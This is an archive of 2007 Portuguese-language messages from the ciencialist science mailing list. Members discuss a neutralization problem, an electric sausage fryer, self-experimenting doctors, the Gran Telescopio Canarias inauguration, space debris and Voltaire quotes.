> > Quantos gramas de Ca(OH)2 puro devem ser adicionados a um
> > reservatório contendo 10.000L de H2SO4 a 15% (em massa)para que
> > haja completa neutralização.

Revendo o enunciado, ele faz pouco sentido. Diz q a concentração total
de H2SO4 é de 15% em massa. Não temos a densidade da solução - se for
igual à da água o total de ácido sulfúrico seria de 1.500 kg!

O enunciado tb não diz se o pH se deve totalmente ao H2SO4 ou se há
outros ácidos presentes. E se a neutralização é a do H2SO4 ou do pH...

Para pH = 2 realmente haveria - em 10.000 l - 100 mols de H+ em
excesso. E seriam necessários 50 mols de hidróxido de cálcio para
neutralizar.

[]s,

Roberto Takata



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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: mapa hidrogeológico.
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <Undisclosed-Recipient:;>
DATE: 12/07/2007 16:50

Transcrevo:


O Serviço Geológico do Brasil acaba de publicar a primeira etapa do Mapa
Hidrogeológico do Brasil, no tema Domínios e Subdomínios Hidrogeológicos do
Brasil, escala 1: 2,5 milhões.

O mapa encontra-se a disposição para download no sítio da CPRM, em
www.cprm.gov.br, e pode ser acessado pelo menu a esquerda, em Recursos
Hídricos, e em seguida, Produtos e Publicações. O acesso está na página, no
tema Programas e Projetos. Este documento está em formato PDF.

Também publicamos o mapa na forma de um mapa interativo. Basta clicar no
botão Mapoteca Digital, à esquerda na página principal, e em seguida, clicar
no atalho próprio.

Por fim, o mesmo mapa está sendo publicado em CD-Rom, já em formato SIG
(shapefile), que poderá ser solicitado no Serviço de Atendimento ao Usuário
(seus@rj.cprm.gov.br).


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fritador de salsichas
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/07/2007 19:20

Aquele link do Kentaro Mori sobre o (péssimo e perigoso) fritador de salsichas deu-me animo para escrever um artigo à respeito, já que eu já possuía meu modelo de fritador e cuja foto já estava no Feira Virtual.
Como o interior da salsicha é dos 7 mais belos mistérios da produção alimentícia, e outros detalhes, apreciaria uma leitura no artigo (que não está ainda disponível ao público). Qqer errata é bem vinda!
Ah! Já percebi que tem mistura de fontes Arial e Times ... isso eu irei consertar.
Fiz alguns comentários sobre cachorro quente e condimentos --- aceito emendas e sugestões.

Está em:

http://www.feiradeciencias.com.br/provisorio/fritador%20de%20salsicha.htm

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Pergunta de professor
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/07/2007 19:22

"Só para não perder a viagem, sabe a origem o uso da letra "B" para o vetor indução magnética?"

Isso, parece-me, que já rolou por aqui!

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: [ciencialist] Pergunta de professor
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/07/2007 20:35

Por causa de Biot-Savart?

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, July 12, 2007 7:22 PM
Subject: [ciencialist] Pergunta de professor


"Só para não perder a viagem, sabe a origem o uso da letra "B" para o vetor
indução magnética?"

Isso, parece-me, que já rolou por aqui!

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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SUBJECT: Re: [ciencialist] Fritador de salsichas
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/07/2007 22:31

Maravilha... mas será seguro comer a salsicha? Mesmo cortando as
partes escurecidas onde os garfos estavam fincados, não há produtos da
eletrólise que não sejam tão evidentes em outras partes da salsicha?

Abraços,

Mori

On 7/12/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
>
>
>
>
>
> Aquele link do Kentaro Mori sobre o (péssimo e perigoso) fritador de salsichas deu-me animo para escrever um artigo à respeito, já que eu já possuía meu modelo de fritador e cuja foto já estava no Feira Virtual.
> Como o interior da salsicha é dos 7 mais belos mistérios da produção alimentícia, e outros detalhes, apreciaria uma leitura no artigo (que não está ainda disponível ao público). Qqer errata é bem vinda!
> Ah! Já percebi que tem mistura de fontes Arial e Times ... isso eu irei consertar.
> Fiz alguns comentários sobre cachorro quente e condimentos --- aceito emendas e sugestões.
>
> Está em:
>
> http://www.feiradeciencias.com.br/provisorio/fritador%20de%20salsicha.htm
>
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp


SUBJECT: Re: [ciencialist] Fritador de salsichas
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/07/2007 23:34

Comer salsicha nunca é seguro, a não ser que você tenha bactérias estomacais
capazes de digerir papelão e outras porcarias...

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Kentaro Mori" <kentaro.mori@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, July 12, 2007 10:31 PM
Subject: Re: [ciencialist] Fritador de salsichas


Maravilha... mas será seguro comer a salsicha? Mesmo cortando as
partes escurecidas onde os garfos estavam fincados, não há produtos da
eletrólise que não sejam tão evidentes em outras partes da salsicha?

Abraços,

Mori

On 7/12/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
>
>
>
>
>
> Aquele link do Kentaro Mori sobre o (péssimo e perigoso) fritador de
> salsichas deu-me animo para escrever um artigo à respeito, já que eu já
> possuía meu modelo de fritador e cuja foto já estava no Feira Virtual.
> Como o interior da salsicha é dos 7 mais belos mistérios da produção
> alimentícia, e outros detalhes, apreciaria uma leitura no artigo (que não
> está ainda disponível ao público). Qqer errata é bem vinda!
> Ah! Já percebi que tem mistura de fontes Arial e Times ... isso eu irei
> consertar.
> Fiz alguns comentários sobre cachorro quente e condimentos --- aceito
> emendas e sugestões.
>
> Está em:
>
> http://www.feiradeciencias.com.br/provisorio/fritador%20de%20salsicha.htm
>
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp


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SUBJECT: Re: [ciencialist] Fritador de salsichas
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/07/2007 23:42

Isso é porque nunca comeram as salsichas do Japão -- de frango,
peixe... Papelão brasileiro é bem melhor!

Abraço,

Mori

On 7/12/07, Alvaro Augusto (U) <alvaro@daelt.sh06.com> wrote:
>
>
>
>
>
>
> Comer salsicha nunca é seguro, a não ser que você tenha bactérias estomacais
> capazes de digerir papelão e outras porcarias...
>
> [ ]s
>
> Alvaro Augusto
>
>
> ----- Original Message -----
> From: "Kentaro Mori" <kentaro.mori@gmail.com>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Thursday, July 12, 2007 10:31 PM
> Subject: Re: [ciencialist] Fritador de salsichas
>
> Maravilha... mas será seguro comer a salsicha? Mesmo cortando as
> partes escurecidas onde os garfos estavam fincados, não há produtos da
> eletrólise que não sejam tão evidentes em outras partes da salsicha?
>
> Abraços,
>
> Mori
>
> On 7/12/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
> >
> >
> >
> >
> >
> >
> > Aquele link do Kentaro Mori sobre o (péssimo e perigoso) fritador de
> > salsichas deu-me animo para escrever um artigo à respeito, já que eu já
> > possuía meu modelo de fritador e cuja foto já estava no Feira Virtual.
> > Como o interior da salsicha é dos 7 mais belos mistérios da produção
> > alimentícia, e outros detalhes, apreciaria uma leitura no artigo (que não
> > está ainda disponível ao público). Qqer errata é bem vinda!
> > Ah! Já percebi que tem mistura de fontes Arial e Times ... isso eu irei
> > consertar.
> > Fiz alguns comentários sobre cachorro quente e condimentos --- aceito
> > emendas e sugestões.
> >
> > Está em:
> >
> > http://www.feiradeciencias.com.br/provisorio/fritador%20de%20salsicha.htm
> >
> > aquele abraço,
> > ===========================
> > Luiz Ferraz Netto [Léo]
> > leobarretos@uol.com.br
> > http://www.feiradeciencias.com.br/doacoes.asp
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>
>


SUBJECT: Re: Fritador de salsichas
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/07/2007 00:21

Tem este modelo mais sofisticado:

http://www.humornaciencia.com.br/noticias/micro.htm

(Sórri, tentei evitar...)

Uma frase freqüentemente atribuída ao estadista prussiano Otto von
Bismarck: "Leis são como salsinhas, melhor não saber como são feitas".
(E variantes.)

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Experimentos com o proprio corpo
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/07/2007 01:14

Há uma série de documentários, "Medical Mavericks", que documenta
vários experimentos que médicos fizeram consigo mesmos.

Um deles experimentou ficar uma semana comendo apenas um tipo de
comida. Isso foi no século 17 ou 18, se me lembro, e o conhecimento
sobre nturição era inexistente. O médico acabou morrendo de
desnutrição.

Também há o médico que descobriu os efeitos anestésicos do gás
hiliriante, mas preferiu usar o gás para efeitos recreativos. Apenas
anos depois um dentista teve a idéia de usar o gás para extração de
dentes, e acabou testando nele mesmo.

Também há os que descobriram a relação entre malária e o mosquito.
Foram na verdade três médicos que se dispuseram a ser picados por
mosquitos contaminados, e o médico que realmente teve a idéia acabou
morrendo com a doença. O médico que ficou com os créditos foi o que
fugiu do experimento.

Escrevo isto de memória, que no meu caso é péssima. Fui no Google e
encontrei o site da sé´rie:
http://www.bbc.co.uk/bbcfour/documentaries/features/medical-mavericks.shtml

[]s

Mori

On 7/12/07, Luis Brudna <luisbrudna@gmail.com> wrote:
>
>
>
>
>
>
> No Gluon Blog adaptei dois textos sobre cientistas que realizaram
> experimentos em seu proprio corpo.
>
> Escala de ferroadas e o ritual
> http://www.gluon.com.br/blog/2007/07/11/escala-dor-ferroadas/
>
> Transplante de testículos de macacos em seres humanos
> http://www.gluon.com.br/blog/2007/06/20/testiculos-homens-macacos/
>
> Alguem lembra de mais algum caso? Com certeza devem existir mais.
>
> Ateh
> Luis Brudna
>
> =-=-=-
>


SUBJECT: Re: [ciencialist] Experimentos com o proprio corpo
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/07/2007 01:23

Ah, lembro que na série também comentam do médico inglês, penso q do
século 18 ou 19, que tentou establecer a relação entre sífilis e
gonorréia. Ele escreveu um diário detalhando com grande minúcia como
um voluntário humano foi consciente e deliberdamente infectado com o
pus de um paciente com gonorréia, e todos os estágios da doença. Como
ele esperava, o paciente progrediu dos sintomas de gonorréia até os de
sífilis, provando assim que sífilis era apenas um estágio avançado da
gonorréia.

Hoje sabemos que o experimento tinha a falha crucial de que o pus
continha vetores tanto de gonorréia quanto de sífilis, mas de acordo
com o documentário, o livro e a metodologia rigorosa descrita foram
revolucionários para a época.

O médico nunca deu um nome ao voluntário, mas acredita-se ser muito
provável que ele infectou a si mesmo.

Um caso recente contado na série é o do médico q ingeriu colônias de
bactérias causadoras de úlcera para provas que grastite e úlcera eram
realmente causadas por infecções bacterianas. Ganhou um Nobel.

[]s

Mori

On 7/13/07, Kentaro Mori <kentaro.mori@gmail.com> wrote:
> Há uma série de documentários, "Medical Mavericks", que documenta
> vários experimentos que médicos fizeram consigo mesmos.
>
> Um deles experimentou ficar uma semana comendo apenas um tipo de
> comida. Isso foi no século 17 ou 18, se me lembro, e o conhecimento
> sobre nturição era inexistente. O médico acabou morrendo de
> desnutrição.
>
> Também há o médico que descobriu os efeitos anestésicos do gás
> hiliriante, mas preferiu usar o gás para efeitos recreativos. Apenas
> anos depois um dentista teve a idéia de usar o gás para extração de
> dentes, e acabou testando nele mesmo.
>
> Também há os que descobriram a relação entre malária e o mosquito.
> Foram na verdade três médicos que se dispuseram a ser picados por
> mosquitos contaminados, e o médico que realmente teve a idéia acabou
> morrendo com a doença. O médico que ficou com os créditos foi o que
> fugiu do experimento.
>
> Escrevo isto de memória, que no meu caso é péssima. Fui no Google e
> encontrei o site da sé´rie:
> http://www.bbc.co.uk/bbcfour/documentaries/features/medical-mavericks.shtml
>
> []s
>
> Mori
>
> On 7/12/07, Luis Brudna <luisbrudna@gmail.com> wrote:
> >
> >
> >
> >
> >
> >
> > No Gluon Blog adaptei dois textos sobre cientistas que realizaram
> > experimentos em seu proprio corpo.
> >
> > Escala de ferroadas e o ritual
> > http://www.gluon.com.br/blog/2007/07/11/escala-dor-ferroadas/
> >
> > Transplante de testículos de macacos em seres humanos
> > http://www.gluon.com.br/blog/2007/06/20/testiculos-homens-macacos/
> >
> > Alguem lembra de mais algum caso? Com certeza devem existir mais.
> >
> > Ateh
> > Luis Brudna
> >
> > =-=-=-
> >
>


SUBJECT: RES: [ciencialist] Experimentos com o proprio corpo
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/07/2007 06:03

Mori,

Ø Um caso recente contado na série é o do médico q ingeriu colônias de
bactérias causadoras de úlcera para provas que grastite e úlcera eram
realmente causadas por infecções bacterianas.

Victor: Passei uns 10 anos de minha vida com problemas de úlceras. Os
médicos, todos, diziam tratar-se de problemas nervosos, de estresse, que eu
era um cara muito ansioso, impulsivo, que isso produzia isso e aquilo, que
eu deveria buscar o nirvana, e tome Pepsamar, Maalox Plus, e outras coisas à
base dos mesmos componentes. E os regimes alimentares? Putz! Um dia, um
deles, evoluiu e solicitou um horroroso (hoje não é mais) exame, uma
gastroentologia(achjo que é assim, o nome). Era o advento da fibra óptica e
das minicâmeras aplicadas à ciência. O exame acusou a existência de uma
bactéria, uma tal de “agá piloris”(AA grafia não é essa, mas só como se
pronuncia). Pronto, encontrado o caminho das pedras. Após cumprir a
medicação, o problema acabou, até hoje.

Coisas simples de novas tecnologias proporcionada pela ciência. Resultado,
morrerei sem úlceras. È um consolo?



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Kentaro Mori
Enviada em: sexta-feira, 13 de julho de 2007 01:23
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Experimentos com o proprio corpo



Ah, lembro que na série também comentam do médico inglês, penso q do
século 18 ou 19, que tentou establecer a relação entre sífilis e
gonorréia. Ele escreveu um diário detalhando com grande minúcia como
um voluntário humano foi consciente e deliberdamente infectado com o
pus de um paciente com gonorréia, e todos os estágios da doença. Como
ele esperava, o paciente progrediu dos sintomas de gonorréia até os de
sífilis, provando assim que sífilis era apenas um estágio avançado da
gonorréia.

Hoje sabemos que o experimento tinha a falha crucial de que o pus
continha vetores tanto de gonorréia quanto de sífilis, mas de acordo
com o documentário, o livro e a metodologia rigorosa descrita foram
revolucionários para a época.

O médico nunca deu um nome ao voluntário, mas acredita-se ser muito
provável que ele infectou a si mesmo.

Um caso recente contado na série é o do médico q ingeriu colônias de
bactérias causadoras de úlcera para provas que grastite e úlcera eram
realmente causadas por infecções bacterianas. Ganhou um Nobel.

[]s

Mori

On 7/13/07, Kentaro Mori <kentaro.mori@gmail.com
<mailto:kentaro.mori%40gmail.com> > wrote:
> Há uma série de documentários, "Medical Mavericks", que documenta
> vários experimentos que médicos fizeram consigo mesmos.
>
> Um deles experimentou ficar uma semana comendo apenas um tipo de
> comida. Isso foi no século 17 ou 18, se me lembro, e o conhecimento
> sobre nturição era inexistente. O médico acabou morrendo de
> desnutrição.
>
> Também há o médico que descobriu os efeitos anestésicos do gás
> hiliriante, mas preferiu usar o gás para efeitos recreativos. Apenas
> anos depois um dentista teve a idéia de usar o gás para extração de
> dentes, e acabou testando nele mesmo.
>
> Também há os que descobriram a relação entre malária e o mosquito.
> Foram na verdade três médicos que se dispuseram a ser picados por
> mosquitos contaminados, e o médico que realmente teve a idéia acabou
> morrendo com a doença. O médico que ficou com os créditos foi o que
> fugiu do experimento.
>
> Escrevo isto de memória, que no meu caso é péssima. Fui no Google e
> encontrei o site da sé´rie:
>
http://www.bbc.co.uk/bbcfour/documentaries/features/medical-mavericks.shtml
>
> []s
>
> Mori
>
> On 7/12/07, Luis Brudna <luisbrudna@gmail.com
<mailto:luisbrudna%40gmail.com> > wrote:
> >
> >
> >
> >
> >
> >
> > No Gluon Blog adaptei dois textos sobre cientistas que realizaram
> > experimentos em seu proprio corpo.
> >
> > Escala de ferroadas e o ritual
> > http://www.gluon.com.br/blog/2007/07/11/escala-dor-ferroadas/
> >
> > Transplante de testículos de macacos em seres humanos
> > http://www.gluon.com.br/blog/2007/06/20/testiculos-homens-macacos/
> >
> > Alguem lembra de mais algum caso? Com certeza devem existir mais.
> >
> > Ateh
> > Luis Brudna
> >
> > =-=-=-
> >
>





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Experimentos com o proprio corpo
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/07/2007 07:53

De Kentaro:
> Um deles experimentou ficar uma semana comendo apenas um tipo de
comida. Isso foi no século 17 ou 18, se me lembro, e o conhecimento
sobre nutrição era inexistente. O médico acabou morrendo de
desnutrição.<

Sim, recordo que li sobre a "maior tortura" na idade média: perguntava-se ao prisioneiro --- "O que vc mais gosta de comer e beber?". Se como resposta ouvisse --- "Vitela e vinho tinto", pronto! Era só isso que iria receber.
Imaginou, todo dia, almoço e jantar, recebendo vitela e vinho? Citava o relato que após uma semana, o organismo já saturado dos 'nutrientes' dessa refeição, já não absorvia absolutamente nada! A pessoa morria de inanição ... fome mesmo!

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: [ciencialist] Fritador de salsichas
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/07/2007 07:56

E as erratas no texto? Nada?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 12 de julho de 2007 23:34
Assunto: Re: [ciencialist] Fritador de salsichas


Comer salsicha nunca é seguro, a não ser que você tenha bactérias estomacais
capazes de digerir papelão e outras porcarias...

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Kentaro Mori" <kentaro.mori@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, July 12, 2007 10:31 PM
Subject: Re: [ciencialist] Fritador de salsichas


Maravilha... mas será seguro comer a salsicha? Mesmo cortando as
partes escurecidas onde os garfos estavam fincados, não há produtos da
eletrólise que não sejam tão evidentes em outras partes da salsicha?

Abraços,

Mori

On 7/12/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
>
>
>
>
>
> Aquele link do Kentaro Mori sobre o (péssimo e perigoso) fritador de
> salsichas deu-me animo para escrever um artigo à respeito, já que eu já
> possuía meu modelo de fritador e cuja foto já estava no Feira Virtual.
> Como o interior da salsicha é dos 7 mais belos mistérios da produção
> alimentícia, e outros detalhes, apreciaria uma leitura no artigo (que não
> está ainda disponível ao público). Qqer errata é bem vinda!
> Ah! Já percebi que tem mistura de fontes Arial e Times ... isso eu irei
> consertar.
> Fiz alguns comentários sobre cachorro quente e condimentos --- aceito
> emendas e sugestões.
>
> Está em:
>
> http://www.feiradeciencias.com.br/provisorio/fritador%20de%20salsicha.htm
>
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
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SUBJECT: Maior telescópio do mundo é inaugurado na Espanha
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/07/2007 10:14

ÚLTIMAS NOTÍCIAS
UOL - BBC

13/07/2007 - 08h51

Maior telescópio do mundo é inaugurado na Espanha

O maior telescópio do mundo está sendo inaugurado nesta sexta-feira, nas Ilhas Canárias, Espanha. Já chamado no país de "o maior caçador de galáxias", o Gran Telescopio Canarias (GTC) se encontra em um observatório no alto de uma montanha da ilha de Palma, no Oceano Atlântico.

A inauguração, com a presença do Príncipe Felipe, está atrasada em quatro anos. A construção começou no ano 2000 e teria de ficar pronta em 2003. No total, custou US$ 176 milhões, o equivalente a aproximadamente R$ 330 milhões.

A partir das 23h nas Canárias (19h em Brasília), está prevista a chamada Primeira Luz. Este ato sempre é realizado com os novos telescópios e consiste em apontá-lo ao céu para captar a luz de um astro e, assim, comprovar o seu funcionamento. A estrela escolhida para a estréia é a Polaris, a Estrela Polar.

A inauguração também conta com a participação de Brian May, o lendário guitarrista e compositor do Queen, que é doutor em astrofísica.

Após a celebração desta sexta-feira, os astrônomos terão de esperar mais um ano para que o telescópio esteja pronto para operações científicas. Neste período será concluída a montagem da lente principal, e os sistemas serão ajustados e calibrados. A lente do telescópio tem superfícies de 10,4 metros de diâmetro e é formada por 36 espelhos, dos quais 12 estão instalados.

O telescópio poderá alcançar os confins do universo graças a observações com luz visível e infravermelho. Será possível captar o nascimento de novas estrelas, estudar a fundo as características dos buracos negros ou decifrar os componentes químicos gerados depois do Big Bang, o surgimento do universo.

Este tipo de aparelho pertence a uma nova geração de máquinas científicas que proporcionaram uma revolução na astronomia, porque permitem imagens de grande resolução e em tempos relativamente curtos, devido aos enormes espelhos que capturam muita luz.

O GTC é um projeto liderado pelo Instituto de Astrofísica das Canárias, que contou com a ajuda do Instituto de Astronomia e do Instituto Nacional de Astrofísica, Ótica e Eletrônica (ambos do México) e da Universidade da Flórida, nos Estados Unidos. Esses dois países, que contribuíram financeiramente com 5% cada do total do projeto, terão direito a 10% do tempo de utilização do aparelho.

Todas as observações colhidas pelo telescópio serão enviadas a um centro em Madri, onde serão armazenadas e colocadas à disposição de cientistas em todo o mundo, depois de transcorrido o período de exclusividade aos autores de cada observação.



< http://noticias.uol.com.br/bbc/reporter/2007/07/13/ult4909u265.jhtm >




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Detritos espaciais podem ser perigosos
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/07/2007 12:15

La Vanguardia
Sexta, 13 de julho de 2007, 11h46
Lixo espacial pode se tornar arma mortal
Rafael Poch


Em junho de 1983, durante a sétima missão do ônibus espacial Challenger, na
qual se tornaria a primeira mulher astronauta dos Estados Unidos, Sally Ride
detectou uma rachadura na janela de proa da espaçonave. Foram realizados
testes imediatamente para determinar se a espessa peça poderia ceder, mas a
missão prosseguiu ainda assim.
Mais tarde, cientistas descobriram que a rachadura havia sido causada por um
minúsculo floco de tinta que flutuava pelo espaço. O incidente ocorrido 24
anos atrás nos ajuda a compreender outro episódio, ocorrido na China este
ano. Em 11 de janeiro, os chineses lançaram um míssil convencional ao
espaço, com o qual destruíram um de seus satélites meteorológicos obsoletos.
Os motivos oficiais do lançamento são desconhecidos.

O governo chinês disse apenas três coisas: que "a China se opõe a qualquer
forma de militarização do espaço e a qualquer corrida armamentista"; que o
país "não participará de uma corrida militar espacial"; e que o lançamento
"não tinha nenhum país como alvo e não ameaçava ninguém". A imprensa mundial
deu destaque considerável ao episódio, reforçando a lenda da China como
ameaça militar.Moscou alegou que o assunto estava sendo "exagerado".
Washington reagiu com inusitada discrição.

"Passados três meses do lançamento, os motivos do governo chinês continuam
desconhecidos", afirmava em abril um relatório do Conselho de Relações
Exteriores sobre o relacionamento entre China e Estados Unidos. Os 45 anos
de história da exploração espacial deixaram as zonas mais percorridas em
órbita terrestre maculadas por milhares de fragmentos de satélites, foguetes
e espaçonaves, que podem ser letais para a navegação. Satélites em desuso,
pedaços de foguetes, objetos metálicos, ferramentas e até excrementos
congelados de astronautas percorrem o espaço, circulando em velocidade de
sete quilômetros por segundo (cerca de 25 mil quilômetros por hora).

O lixo espacial, dessa forma, se converte em "arma de energia cinética não
guiada, de altíssima velocidade", de acordo com a definição oferecida por
uma agência oficial norte-americana. O Departamento da Defesa dos Estados
Unidos estima que um fragmento de 10 centímetros possa causar tantos danos a
uma espaçonave quanto uma explosão de 25 cartuchos de dinamite.

Em sua magnífica trilogia sobre o imperialismo norte-americano, o veterano
orientalista Chalmers Johnson explicou que os radares militares do país têm
13 mil objetos localizados em caráter permanente, mas as estimativas indicam
que haja mais de 100 mil fragmentos com pelo menos um centímetro de diâmetro
em órbita da Terra, e milhões de fragmentos ainda menores. O lixo espacial é
estimado em um total de duas mil toneladas em órbita baixa da Terra, e a
Administração Nacional da Aeronáutica e Espaço (Nasa) norte-americana
publica uma revista trimestral sobre o assunto.

Em determinadas bandas de altitude, entre os 900 e os mil quilômetros e
entre os 1,5 mil e 1,7 mil, a densidade de destroços é tão elevada que
Donald Kessler, cientista da Nasa, estabeleceu matematicamente uma situação
de completo caos nessas zonas, derivada de colisões em cadeia de fragmentos
de lixo espacial, o chamado Efeito Kessler. O lixo especial é um tema sério
porque pode afetar toda navegação especial, militar ou civil, não importa de
que nação.

Desde o dia 11 de janeiro, os chineses contribuíram para esse fenômeno,
fragmentando seu velho satélite meteorológico em 1,6 mil pedaços. A
capacidade anti-satélite demonstrada pela China em janeiro significa que é
muito fácil arruinar o quimérico propósito de monopólio espacial militar
¿basta encher o espaço de destroços letais. Foi essa a mensagem dos
chineses, e os destinatários a compreenderam plenamente.

Os especialistas chineses não gostam de discorrer sobre o tema, o que os
diferencia dos russos, mas alguns falaram a respeito. O físico Dingli Shen,
da Universidade Fudan, em Xangai, disse que "a China quis enviar uma
mensagem a um país específico". Ele acrescentou que "nosso lançamento pode
criar alguns resíduos indesejáveis em era de paz, o que lamento, mas esses
resíduos talvez tenham prevenido um confronto mais sério nos próximos anos,
e até que haja uma proibição internacional às armas contra satélites a
soberania de todas as nações deve ser adequadamente respeitada", afirmou.

O problema não é a fantasmagórica ameaça militar chinesa, mas a
militarização do espaço promovida pelos Estados Unidos, que se opõem a
qualquer tratado de limitação e até a negociações internacionais sobre o
assunto. A doutrina espacial em vigor no país afirma muito mais que um
direito exclusivo, porque ameaça quem o desafie.

"Os Estados Unidos preservarão seus direitos, capacidades e liberdade de
ação no espaço; dissuadirão e impedirão outros países de assumir direitos
semelhantes ou desenvolver capacidades para esse fim; tomarão as medidas
necessárias para proteger sua capacidade espacial; responderão às
interferências; e, se necessário, impedirão aos adversários o uso de
capacidades espaciais hostis a seus interesses nacionais", afirma o
documento.

Até mesmo a União Européia está sujeita a essa política. Em outubro de 204,
em conferência realizada em Londres, os norte-americanos ameaçaram
interferir e até destruir os satélites europeus da rede Galileo se estes
ameaçassem interesses norte-americanos. A expressão utilizada foi
"empreender ações reversíveis e irreversíveis". O tema em debate era a
participação chinesa no programa de posicionamento global europeu, que
compete com o monopólio do sistema norte-americano GPS nessa área.

China, Rússia e ONU apóiam a negociação de um acordo internacional que
proíba a militarização do espaço. A combinação da recusa a qualquer tratado
ou negociação e de uma postura que nega o acesso de adversários ao espaço
tem um ponto fraco. Foi essa a sensata mensagem que os chineses enviaram em
janeiro.

Tradução: Paulo Eduardo Migliacci ME
http://noticias.terra.com.br/mundo/jornais/interna/0,,OI1755273-EI8253,00.html


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Pernas biônicas (impressionante)
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/07/2007 12:17

http://tecnologia.terra.com.br/interna/0,,OI1755107-EI8328,00.html


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: voltaire
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: Acropolis_@yahoogrupos.com.br, ciencialist <ciencialist@yahoogrupos.com.br>, cascata_de_luz@yahoogrupos.com.br, sandraamauri@yahoo.com.br, "Lucimary Vargas" <lucimary.vargas@gmail.com>, lucia2245@hotmail.com
DATE: 13/07/2007 12:29

"Pode ser que não estejamos de acordo com as idéias dos outros, mas devemos
estar dispostos a morrer para defender a liberdade de todas as idéias".
Voltaire


"O acaso é uma palavra sem sentido. Nada pode existir sem causa."
Voltaire


"A falsa ciência gera ateus; a verdadeira ciência leva os homens a se curvar
diante da divindade."
Voltaire
--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] voltaire
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/07/2007 13:26

Tenho dúvidas quanto à primeira, mas nas duas últimas ele estava
completamente enganado, pois não conhecia as teorias do Big Bang e da
evolução.

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Amauri N. Sanches Jr " <amaurij@gmail.com>
To: <Acropolis_@yahoogrupos.com.br>; "ciencialist"
<ciencialist@yahoogrupos.com.br>; <cascata_de_luz@yahoogrupos.com.br>;
